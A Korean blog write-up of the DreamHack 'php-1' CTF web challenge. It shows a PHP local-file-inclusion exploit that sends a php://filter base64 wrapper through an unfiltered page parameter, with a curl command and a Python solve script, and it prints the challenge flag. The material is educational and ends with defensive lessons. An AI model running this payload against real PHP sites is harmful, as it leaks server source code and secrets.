[๐Ÿฅ‰ Bronze 1] flag๋Š” ๋ชป ์ฝ์–ด๋„ ์†Œ์Šค๋Š” ์ƒˆ์–ด๋‚˜๊ฐ„๋‹ค โ€” DreamHack php-1 ํ’€์ด

2026-07-01ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 1] flag๋Š” ๋ชป ์ฝ์–ด๋„ ์†Œ์Šค๋Š” ์ƒˆ์–ด๋‚˜๊ฐ„๋‹ค โ€” DreamHack php-1 ํ’€์ด

PHP Back Office. view.php ๋Š” ํŒŒ์ผ ํŒŒ๋ผ๋ฏธํ„ฐ์— "flag" ๋ฌธ์ž์—ด๊ณผ ์ฝœ๋ก ์„ ๋ง‰์•„ php://filter ์šฐํšŒ๊นŒ์ง€ ๋ด‰์‡„ํ–ˆ์ง€๋งŒ, ์ •์ž‘ include ๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•˜๋Š” index.php ์˜ page ํŒŒ๋ผ๋ฏธํ„ฐ์—” ๊ฐ™์€ ํ•„ํ„ฐ๊ฐ€ ์—†๋‹ค. ํ™•์žฅ์ž ์ž๋™ ์ฒจ๋ถ€๋ฅผ ๊ฑฐ๊พธ๋กœ ์ด์šฉํ•ด php://filter/convert.base64-encode ๋กœ flag.php ์†Œ์Šค๋ฅผ ์‹คํ–‰ ๋Œ€์‹  ํ…์ŠคํŠธ๋กœ ์ฝ์–ด๋‚ธ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” php-1 ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 1 FLAG: DH{bb9db1f303cacf0f3c91e0abca1221ff}

ํŒŒ์ผ์„ ์˜ฌ๋ ค๋†“๊ณ  ๋ชฉ๋ก์—์„œ ๊ณจ๋ผ ๋ณด๋Š” ๊ด€๋ฆฌ ํŽ˜์ด์ง€๋‹ค. ๋ชฉ๋ก ๋งํฌ๋ฅผ ๋ˆŒ๋Ÿฌ ํŒŒ์ผ์„ ์—ด๋žŒํ•˜๋Š” ๊ฒฝ๋กœ์—” ํ•„ํ„ฐ๊ฐ€ ์ด˜์ด˜ํ•œ๋ฐ, ์ •์ž‘ ๊ทธ ํŽ˜์ด์ง€ ์ž์ฒด๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š” ๊ฒฝ๋กœ์—” ํ•„ํ„ฐ๊ฐ€ ํ•˜๋‚˜๋„ ์—†๋‹ค.

๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” PHP Back Office
๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” PHP Back Office


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…php-1
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 1
๋ถ„๋ฅ˜Web
์ŠคํƒPHP ยท Apache/2.4.18 (Ubuntu)
์ œ๊ณตindex.php / list.php / view.php / main.php ์†Œ์Šค + ๋ผ์ด๋ธŒ ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ page ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋“ค์–ด๊ฐ€๋Š” LFI โ€” file ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ํ•„ํ„ฐ๊ฐ€ page์—” ์ ์šฉ๋˜์ง€ ์•Š์Œ

ํ’€์ด ํ๋ฆ„์€ ๋‹จ์ˆœํ•˜๋‹ค. ๋ชฉ๋ก ํŽ˜์ด์ง€๋กœ ์—…๋กœ๋“œ ๋””๋ ‰ํ† ๋ฆฌ์— flag.php๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฑธ ํ™•์ธํ•˜๊ณ , ์—ด๋žŒ ํŽ˜์ด์ง€์˜ ํ•„ํ„ฐ์— ๋ง‰ํžˆ๋ฉด ํŽ˜์ด์ง€ ์ž์ฒด๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š” include() ์ชฝ์œผ๋กœ ๋ฐฉํ–ฅ์„ ํŠผ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” PHP include()์™€ php://filter

PHP์˜ include($path)๋Š” $path๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ํŒŒ์ผ์„ ๊ทธ ์ž๋ฆฌ์—์„œ ํŒŒ์‹ฑํ•ด ์‹คํ–‰ํ•œ๋‹ค. $path์— ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๊ทธ๋Œ€๋กœ ๋“ค์–ด๊ฐ€๋ฉด ์„œ๋ฒ„์˜ ์ž„์˜ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜(๋กœ์ปฌ ํŒŒ์ผ ํฌํ•จ, LFI), ์•„์˜ˆ ๋‹ค๋ฅธ ํ”„๋กœํ† ์ฝœ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๋ถ™์ผ ์ˆ˜๋„ ์žˆ๋‹ค.

PHP๋Š” ํŒŒ์ผ ๊ฒฝ๋กœ ์ž๋ฆฌ์— ์ผ๋ฐ˜ ๋กœ์ปฌ ๊ฒฝ๋กœ ๋ง๊ณ ๋„ php:// ์ŠคํŠธ๋ฆผ ๋ž˜ํผ๋ฅผ ๋ฐ›๋Š”๋‹ค. ๊ทธ์ค‘ php://filter๋Š” "์ด ํŒŒ์ผ์„ ์—ด๋˜, ๋‚ด์šฉ์„ ํ•„ํ„ฐ์— ํ†ต๊ณผ์‹œ์ผœ ๋‹ฌ๋ผ"๋Š” ์š”์ฒญ์ด๋‹ค.

php://filter/convert.base64-encode/resource=๋Œ€์ƒํŒŒ์ผ

์ด ๋ž˜ํผ๊ฐ€ ๋ถ™์œผ๋ฉด resource= ๋’ค ํŒŒ์ผ์€ PHP ์ฝ”๋“œ๋กœ ์‹คํ–‰๋˜์ง€ ์•Š๊ณ , base64๋กœ ์ธ์ฝ”๋”ฉ๋œ ํ…์ŠคํŠธ๋กœ ๋ฐ˜ํ™˜๋œ๋‹ค. include()๋Š” ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ๋‹ค์‹œ ํŒŒ์‹ฑํ•˜๋ ค ํ•˜์ง€๋งŒ <?php ํƒœ๊ทธ๊ฐ€ ์—†๋Š” ์ˆœ์ˆ˜ base64 ๋ฌธ์ž์—ด์ด๋ผ ๊ทธ๋Œ€๋กœ ํ™”๋ฉด์— echo๋œ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ์‹คํ–‰์ด ์•„๋‹ˆ๋ผ ์†Œ์Šค ์ฝ”๋“œ ๊ทธ ์ž์ฒด๋ฅผ ์–ป๊ฒŒ ๋œ๋‹ค.

์ด ๋ฌธ์ œ๋Š” include()๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ์ง€์ ๊ณผ, ํŒŒ์ผ์„ "์—ด๋žŒ"ํ•ด ๋ณด์—ฌ์ฃผ๋Š” ์ง€์ ์ด ์„œ๋กœ ๋‹ค๋ฅธ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์“ฐ๋Š”๋ฐ ํ•„ํ„ฐ๋Š” ํ•œ์ชฝ์—๋งŒ ๊ฑธ๋ ค ์žˆ์—ˆ๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ

์ œ๊ณต๋œ ์†Œ์Šค๋Š” ๋„‰ ์žฅ์ด๋‹ค. index.php๊ฐ€ ๋ผ์šฐํŒ… ๊ฒธ ๋ทฐ ๋กœ๋”๋‹ค.

<div class="container">
  <?php
      include $_GET['page']?$_GET['page'].'.php':'main.php';
  ?>
</div>

page ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์žˆ์œผ๋ฉด $_GET['page'].'.php'๋ฅผ, ์—†์œผ๋ฉด main.php๋ฅผ includeํ•œ๋‹ค. ๊ฒ€์‚ฌ๊ฐ€ ์ „ํ˜€ ์—†๋‹ค. page=list, page=view ๋‘˜ ๋‹ค ์ด๋ ‡๊ฒŒ ๋กœ๋“œ๋œ๋‹ค.

list.php๋Š” ์—…๋กœ๋“œ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์Šค์บ”ํ•ด ๋งํฌ๋ฅผ ๋ฟŒ๋ ค์ค€๋‹ค.

$directory = '../uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
    echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
}

์‹ค์ œ๋กœ ์—ด์–ด๋ดค๋‹ค.

List ํŽ˜์ด์ง€ โ€” uploads ๋””๋ ‰ํ† ๋ฆฌ ๋ชฉ๋ก
List ํŽ˜์ด์ง€ โ€” uploads ๋””๋ ‰ํ† ๋ฆฌ ๋ชฉ๋ก

flag.php์™€ hello.json ๋‘ ๊ฐœ๊ฐ€ ์žˆ๋‹ค. ์ด๋ฆ„๋ถ€ํ„ฐ ๋ชฉํ‘œ๊ฐ€ ๋ญ”์ง€ ์•Œ๋ ค์ค€๋‹ค. ๋ฌธ์ œ๋Š” ์ด๊ฑธ ์–ด๋–ป๊ฒŒ ์—ฌ๋А๋ƒ๋‹ค.

view.php๊ฐ€ ์‹ค์ œ ์—ด๋žŒ ๋กœ์ง์ด๋‹ค.

$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
    exit('Permission denied');
}
echo file_get_contents($file);

file ํŒŒ๋ผ๋ฏธํ„ฐ์— flag(๋Œ€์†Œ๋ฌธ์ž ๋ฌด๊ด€)๋‚˜ : ๊ฐ€ ํ•˜๋‚˜๋ผ๋„ ๋“ค์–ด๊ฐ€๋ฉด ๊ทธ ์ž๋ฆฌ์—์„œ ๋Š๋Š”๋‹ค. ๋ชฉํ‘œ ํŒŒ์ผ๋ช… ์ž์ฒด์— flag๊ฐ€ ๋ฐ•ํ˜€ ์žˆ์–ด์„œ ๊ฒฝ๋กœ๋ฅผ ์žˆ๋Š” ๊ทธ๋Œ€๋กœ ๋„˜๊ธฐ๋ฉด ๋ฐ”๋กœ ๊ฑธ๋ฆฐ๋‹ค.


๐Ÿ› ์‚ฝ์งˆ โ€” file ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ๋Š” ๋‹ต์ด ์—†๋‹ค

๊ฐ€์žฅ ๋จผ์ € list.php๊ฐ€ ๋งŒ๋“ค์–ด์ค€ ๋งํฌ ๊ทธ๋Œ€๋กœ ๋ˆŒ๋Ÿฌ๋ดค๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 1 โ€” file=../uploads/flag.php, 'flag' ๋ฌธ์ž์—ด์— ๊ฑธ๋ฆผ
GET /?page=view&file=../uploads/flag.php

file ํŒŒ๋ผ๋ฏธํ„ฐ์— flag.php๋ฅผ ์ง์ ‘ ๋„ฃ์œผ๋ฉด ์ฐจ๋‹จ
file ํŒŒ๋ผ๋ฏธํ„ฐ์— flag.php๋ฅผ ์ง์ ‘ ๋„ฃ์œผ๋ฉด ์ฐจ๋‹จ

preg_match('/flag|.../i', ...)๊ฐ€ ํŒŒ์ผ๋ช… ์•ˆ์˜ "flag" ์ž์ฒด๋ฅผ ์žก์•„๋‚ธ๋‹ค. ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ๋ฐ”๊ฟ”๋„(FLAG.php, FlAg.php) /i ํ”Œ๋ž˜๊ทธ ๋•Œ๋ฌธ์— ์†Œ์šฉ์—†๋‹ค.

๊ทธ๋Ÿผ flag๋ผ๋Š” ๊ธ€์ž๋ฅผ ์•„์˜ˆ ์•ˆ ์“ฐ๊ณ  php://filter๋กœ ์šฐํšŒํ•˜๋ฉด ์–ด๋–จ๊นŒ ์‹ถ์–ด ์‹œ๋„ํ–ˆ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 2 โ€” file=php://filter/โ€ฆ, ์ด๋ฒˆ์—” ์ฝœ๋ก ์— ๊ฑธ๋ฆผ
GET /?page=view&file=php://filter/convert.base64-encode/resource=../uploads/flag

file ํŒŒ๋ผ๋ฏธํ„ฐ์— php:// ๋ž˜ํผ๋ฅผ ๋„ฃ์–ด๋„ ์ฝœ๋ก  ๋•Œ๋ฌธ์— ์ฐจ๋‹จ
file ํŒŒ๋ผ๋ฏธํ„ฐ์— php:// ๋ž˜ํผ๋ฅผ ๋„ฃ์–ด๋„ ์ฝœ๋ก  ๋•Œ๋ฌธ์— ์ฐจ๋‹จ

php://filter ์ž์ฒด์— "flag" ๊ธ€์ž๊ฐ€ ์—†์–ด๋„, : ํ•˜๋‚˜๊ฐ€ ์ •๊ทœ์‹์˜ ๋‘ ๋ฒˆ์งธ ์กฐ๊ฑด(|:)์— ๊ฑธ๋ฆฐ๋‹ค. ์Šคํ‚ด ๊ตฌ๋ถ„์ž ์ฝœ๋ก ์„ ๋นผ๋ฉด ๋ž˜ํผ ์ž์ฒด๊ฐ€ ์„ฑ๋ฆฝํ•˜์ง€ ์•Š์œผ๋‹ˆ, file ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ๋Š” ์ด ๊ธธ์ด ์™„์ „ํžˆ ๋ง‰ํ˜€ ์žˆ๋‹ค.

๋‘ ๋ฒˆ ๋‹ค ๋ง‰ํžˆ๊ณ  ๋‚˜์„œ์•ผ view.php๋งŒ ์ณ๋‹ค๋ณด๊ณ  ์žˆ์—ˆ๋‹ค๋Š” ๊ฑธ ๊นจ๋‹ฌ์•˜๋‹ค. file์€ view.php ์•ˆ์—์„œ๋งŒ ๊ฒ€์‚ฌ๋œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์• ์ดˆ์— view.php๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š” ๊ฒƒ๋„, list.php๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š” ๊ฒƒ๋„ ์ „๋ถ€ index.php์˜ page ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๊ฑฐ์นœ๋‹ค. ๊ทธ page ์ชฝ์—” ์•„๋ฌด ๊ฒ€์‚ฌ๊ฐ€ ์—†๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” page๋Š” ํ•„ํ„ฐ๋ฅผ ๊ฑฐ์น˜์ง€ ์•Š๋Š”๋‹ค

view.php์˜ ํ•„ํ„ฐ๋Š” file ๋ณ€์ˆ˜ ํ•˜๋‚˜๋งŒ ๋ณธ๋‹ค. page ๋ณ€์ˆ˜๋Š” ์กด์žฌ ์ž์ฒด๋ฅผ ๋ชจ๋ฅธ๋‹ค. ๊ทธ๋ฆฌ๊ณ  index.php์˜ include $_GET['page'].'.php'๋Š” ๊ทธ ์ž์ฒด๋กœ ์™„์ „ํ•œ LFI ์ง„์ž…์ ์ด๋‹ค.

file ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ํ•„ํ„ฐ๋ฅผ ํ†ต๊ณผํ•ด์•ผ ํ•˜๊ณ , page ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ํ•„ํ„ฐ๊ฐ€ ์•„์˜ˆ ์—†๋‹ค
file ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ํ•„ํ„ฐ๋ฅผ ํ†ต๊ณผํ•ด์•ผ ํ•˜๊ณ , page ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ํ•„ํ„ฐ๊ฐ€ ์•„์˜ˆ ์—†๋‹ค

์—ฌ๊ธฐ์„œ ๊ฑธ๋ฆฌ๋Š” ๊ฑด .php๊ฐ€ ์ž๋™์œผ๋กœ ๋ถ™๋Š”๋‹ค๋Š” ์  ํ•˜๋‚˜๋‹ค. page=../uploads/flag๋ฅผ ๋„˜๊ธฐ๋ฉด ์„œ๋ฒ„๋Š” ../uploads/flag.php๋ฅผ includeํ•œ๋‹ค. ๋งˆ์นจ ๋ชฉํ‘œ ํŒŒ์ผ ์ด๋ฆ„์ด ์ •ํ™•ํžˆ flag.php๋ผ์„œ, ์ด ์ž๋™ ์ฒจ๋ถ€๊ฐ€ ๋ฐฉํ•ด๊ฐ€ ์•„๋‹ˆ๋ผ ๋”ฑ ๋งž์•„๋–จ์–ด์ง„๋‹ค.

๊ทธ๋Œ€๋กœ includeํ•˜๋ฉด PHP ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋ผ์„œ $flag = '...' ๋Œ€์ž…๋ฌธ์€ ํ™”๋ฉด์— ์•„๋ฌด๊ฒƒ๋„ ์•ˆ ๋‚จ๊ธด๋‹ค. ๊ทธ๋ž˜์„œ php://filter/convert.base64-encode๋ฅผ page์— ํƒœ์šด๋‹ค.

page = php://filter/convert.base64-encode/resource=../uploads/flag

์—ฌ๊ธฐ์— index.php๊ฐ€ .php๋ฅผ ๋ถ™์ด๋ฉด ์ตœ์ข…์ ์œผ๋กœ resource=../uploads/flag.php๊ฐ€ ์™„์„ฑ๋˜๊ณ , include()๋Š” ์ด ๋ฌธ์ž์—ด ์ „์ฒด๋ฅผ ์ŠคํŠธ๋ฆผ ๋ž˜ํผ๋กœ ์—ด์–ด flag.php์˜ ๋ฐ”์ดํŠธ๋ฅผ ์‹คํ–‰ ์—†์ด base64๋กœ ๋Œ๋ ค์ค€๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡

์‹ค์ œ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๋ดค๋‹ค.

GET /?page=php://filter/convert.base64-encode/resource=../uploads/flag

page ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ php://filter LFI ์„ฑ๊ณต โ€” base64 ์†Œ์Šค ์œ ์ถœ
page ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ php://filter LFI ์„ฑ๊ณต โ€” base64 ์†Œ์Šค ์œ ์ถœ

๋ณธ๋ฌธ ๊ฐ€์šด๋ฐ์— base64 ๋ฌธ์ž์—ด์ด ๊ทธ๋Œ€๋กœ ์ฐํžŒ๋‹ค. ํ„ฐ๋ฏธ๋„์—์„œ ๊ฐ™์€ ์š”์ฒญ์„ ๋ณด๋‚ด ๋ฌธ์ž์—ด๋งŒ ๋ฝ‘์•„ ๋””์ฝ”๋”ฉํ–ˆ๋‹ค.

curl -s "http://host3.dreamhack.games:22471/?page=php://filter/convert.base64-encode/resource=../uploads/flag" \
  | grep -oE "[A-Za-z0-9+/=]{40,}" | base64 -d

curl๋กœ ๋ฐ›์€ base64๋ฅผ ๋””์ฝ”๋”ฉ โ€” flag.php ์†Œ์Šค ์›๋ฌธ ํ™•์ธ
curl๋กœ ๋ฐ›์€ base64๋ฅผ ๋””์ฝ”๋”ฉ โ€” flag.php ์†Œ์Šค ์›๋ฌธ ํ™•์ธ

$flag = 'DH{bb9db1f303cacf0f3c91e0abca1221ff}';๊ฐ€ ๊ทธ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค. view.php๊ฐ€ ๊ทธ๋ ‡๊ฒŒ ์ง€ํ‚ค๋ ค๋˜ ๋ฌธ์ž์—ด์ด index.php ์ชฝ์—์„œ๋Š” ์•„๋ฌด ์ €ํ•ญ ์—†์ด ์ƒˆ์–ด๋‚˜๊ฐ”๋‹ค.


๐Ÿš€ Full Exploit

์ •์ฐฐ๋ถ€ํ„ฐ ๋””์ฝ”๋”ฉ๊นŒ์ง€ ํ•œ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋ฌถ์—ˆ๋‹ค.

#!/usr/bin/env python3
# index.php ์˜ include($_GET['page'].'.php') LFI๋ฅผ php://filter ๋กœ ์†Œ์Šค๋งŒ ์ฝ์–ด๋‚ธ๋‹ค.
import base64
import re
import sys
import urllib.parse
import urllib.request
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:22471"
 
 
def read_via_page_lfi(target_no_ext):
    # index.php ๊ฐ€ ๋’ค์— '.php' ๋ฅผ ์ž๋™์œผ๋กœ ๋ถ™์ด๋ฏ€๋กœ ํ™•์žฅ์ž ์—†์ด ๋„˜๊ธด๋‹ค.
    wrapper = f"php://filter/convert.base64-encode/resource={target_no_ext}"
    url = f"{BASE}/?page=" + urllib.parse.quote(wrapper, safe="")
    html = urllib.request.urlopen(url, timeout=10).read().decode()
    m = re.search(r"[A-Za-z0-9+/=]{40,}", html)
    return base64.b64decode(m.group(0)).decode() if m else None
 
 
src = read_via_page_lfi("../uploads/flag")
print("[*] ../uploads/flag.php ์†Œ์Šค:")
print(src)
 
flag = re.search(r"DH\{[^}]*\}", src)
print("\n[+] FLAG =", flag.group(0) if flag else "(not found)")

solve.py ์‹คํ–‰ โ€” flag.php ์†Œ์Šค์™€ FLAG ์ถœ๋ ฅ
solve.py ์‹คํ–‰ โ€” flag.php ์†Œ์Šค์™€ FLAG ์ถœ๋ ฅ

[+] FLAG = DH{bb9db1f303cacf0f3c91e0abca1221ff}


๐Ÿ“ ๊ฒฐ๋ก 

๊ฐ™์€ ๊ฐ’์„ ๋‹ค๋ฃจ๋Š” ์ง„์ž…์ ์ด ์—ฌ๋Ÿฌ ๊ฐœ๋ฉด, ํ•„ํ„ฐ๋„ ๊ทธ ๊ฐœ์ˆ˜๋งŒํผ ํ•„์š”ํ•˜๋‹ค.

view.php์˜ ๊ฐœ๋ฐœ์ž๋Š” file ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ž„์˜ ํŒŒ์ผ์ด ์ฝํžˆ๋Š” ๊ฑธ ์•Œ๊ณ  ์ •๊ทœ์‹์œผ๋กœ ๋ง‰์•˜๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ทธ ํŽ˜์ด์ง€ ์ž์ฒด๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š” index.php์˜ page ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์‚ฌ์‹ค์ƒ ๊ฐ™์€ ๋Šฅ๋ ฅ(์ž„์˜ ํŒŒ์ผ include)์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋Š” ๊ฑธ ๋†“์ณค๋‹ค. ๊ฒ€์‚ฌ๋ฅผ "ํ™”๋ฉด์— ๊ฒฐ๊ณผ๊ฐ€ ๋ณด์ด๋Š” ์ง€์ "์—๋งŒ ๋‘๋ฉด, ๊ทธ ์•ž๋‹จ์˜ ๋กœ๋”๋Š” ๊ทธ๋Œ€๋กœ ์—ด๋ ค ์žˆ๋Š”๋‹ค.

php://filter๋Š” ์‹คํ–‰์„ ์šฐํšŒํ•ด ์†Œ์Šค๋ฅผ ์ฝ๋Š” ํ‘œ์ค€ ์ˆ˜๋‹จ์ด๋‹ค.

LFI๊ฐ€ ์žˆ์–ด๋„ ๋Œ€์ƒ์ด PHP ํŒŒ์ผ์ด๋ฉด include ์‹œ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜์–ด ์›ํ•˜๋Š” ๋ฌธ์ž์—ด์ด ํ™”๋ฉด์— ์•ˆ ๋‚จ์„ ์ˆ˜ ์žˆ๋‹ค. php://filter/convert.base64-encode/resource=๋กœ ๊ฐ์‹ธ๋ฉด ์‹คํ–‰ ๋Œ€์‹  ์ธ์ฝ”๋”ฉ๋œ ์›๋ฌธ์„ ๊ทธ๋Œ€๋กœ ๋ฐ›์•„, ์‹คํ–‰ ๊ฒฐ๊ณผ๊ฐ€ ์•„๋‹ˆ๋ผ ์†Œ์Šค ์ž์ฒด๋ฅผ ํ™•๋ณดํ•  ์ˆ˜ ์žˆ๋‹ค.

๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋Š” ๊ฒ€์‚ฌ ๋Œ€์ƒ ์ž์ฒด๊ฐ€ ์šฐํšŒ ๊ฐ€๋Šฅํ•œ ๋ฌธ์ž์—ด์ด๋ผ๋Š” ๊ฑธ ์žŠ๊ธฐ ์‰ฝ๋‹ค.

/flag|:/i ํ•˜๋‚˜๋กœ ํŒŒ์ผ๋ช…๊ณผ ์ŠคํŠธ๋ฆผ ๋ž˜ํผ๋ฅผ ๋™์‹œ์— ๋ง‰์œผ๋ ค ํ•œ ์‹œ๋„๋Š” ๋‚˜์˜์ง€ ์•Š์•˜์ง€๋งŒ, ๊ทธ ํ•„ํ„ฐ๊ฐ€ ๋ถ™์–ด์•ผ ํ•  ์ž๋ฆฌ๊ฐ€ ํ•œ ๊ณณ์ด ์•„๋‹ˆ๋ผ๋Š” ๊ฑธ ํ™•์ธํ•˜์ง€ ๋ชปํ•˜๋ฉด ๋‹ค๋ฅธ ์ง„์ž…์ ์—์„œ ๊ทธ๋Œ€๋กœ ๋šซ๋ฆฐ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 1] ํ™•์žฅ์ž๋งŒ .md๋ฉด ํ†ต๊ณผ โ€” ๋‚ด์šฉ์€ ์•„๋ฌด๋„ ์•ˆ ๋ดค๋‹ค, DreamHack Pearfect Markdown ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] ํ™•์žฅ์ž๋งŒ .md๋ฉด ํ†ต๊ณผ โ€” ๋‚ด์šฉ์€ ์•„๋ฌด๋„ ์•ˆ ๋ดค๋‹ค, DreamHack Pearfect Markdown ํ’€์ด

์‹ค์‹œ๊ฐ„์œผ๋กœ ๋งˆํฌ๋‹ค์šด์„ ๋ฏธ๋ฆฌ๋ณด๊ธฐ ํ•ด์ฃผ๋Š” ์•„์ฃผ ๋‹จ์ˆœํ•œ PHP ํŽ˜์ด์ง€. ์—…๋กœ๋“œ ๋ผ์šฐํŠธ๋Š” ํŒŒ์ผ ์ด๋ฆ„์˜ ํ™•์žฅ์ž๊ฐ€ .md์ธ์ง€๋งŒ ๊ฒ€์‚ฌํ•˜๊ณ , ๋ฏธ๋ฆฌ๋ณด๊ธฐ ๋ผ์šฐํŠธ๋Š” ๊ทธ ํŒŒ์ผ์„ include()๋กœ ๊ทธ๋Œ€๋กœ ๋ถˆ๋Ÿฌ์˜จ๋‹ค. ๋‘ ๋ผ์šฐํŠธ ๋ชจ๋‘ ๊ฐ์ž ๋ณด๋ฉด ๊ทธ๋Ÿด๋“ฏํ•œ ๋ฐฉ์–ด์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, ํ™•์žฅ์ž ๊ฒ€์‚ฌ๋Š” "๋‚ด์šฉ"์„ ์ „ํ˜€ ๋ณด์ง€ ์•Š๊ณ  include()๋Š” "ํ™•์žฅ์ž"๋ฅผ ์ „ํ˜€ ๊ฐ€๋ฆฌ์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒŒ ๋ฌธ์ œ์˜€๋‹ค. ์ฒ˜์Œ์—” ๊ฒฝ๋กœtraversal๋กœ flag ํŒŒ์ผ์„ ์ง์ ‘ ์ฝ์œผ๋ ค ํ–ˆ์ง€๋งŒ ๋นŒ๋“œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํŒŒ์ผ๋ช…์„ 32์ž ๋žœ๋ค ๋ฌธ์ž์—ด๋กœ ๋ฐ”๊ฟ”๋‘” ํƒ“์— ์‹คํŒจํ–ˆ๊ณ , ๊ฒฐ๊ตญ ์—…๋กœ๋“œํ•œ .md ํŒŒ์ผ ์•ˆ์— PHP ์ฝ”๋“œ๋ฅผ ์‹ฌ์–ด ์‹คํ–‰์‹œํ‚ค๋Š” ์ชฝ์œผ๋กœ ๋ฐฉํ–ฅ์„ ํ‹€์—ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-21#dreamhack +4
[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด

ํŒŒ์ผ๋ช…์„ base64๋กœ ๋ฐ›์•„ includeํ•˜๋Š” PHP ์•ฑ์ธ๋ฐ, ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž์—ด์— flagยทhpยท../์˜ base64 ์กฐ๊ฐ์ด ์žˆ์œผ๋ฉด ๋ง‰๋Š”๋‹ค. flag.php์˜ ์ •์งํ•œ base64๋Š” ๊ทธ ์กฐ๊ฐ์„ ๊ทธ๋Œ€๋กœ ํ’ˆ๋Š”๋‹ค. ์•ž์— ./๋ฅผ ๋ถ™์—ฌ 3๋ฐ”์ดํŠธ ๋ธ”๋ก ์ •๋ ฌ์„ ๋ฐ˜์นธ ๋ฐ€๋ฉด ์กฐ๊ฐ์ด ์ชผ๊ฐœ์ ธ ํ•„ํ„ฐ๊ฐ€ ํ†ต์งธ๋กœ ํ—›๋ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-12#dreamhack +4
[๐Ÿฅ‰ Bronze 3] cat ๋Œ€์‹  ์‹คํ–‰ โ€” DreamHack File Vulnerability Advanced ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] cat ๋Œ€์‹  ์‹คํ–‰ โ€” DreamHack File Vulnerability Advanced ํ’€์ด

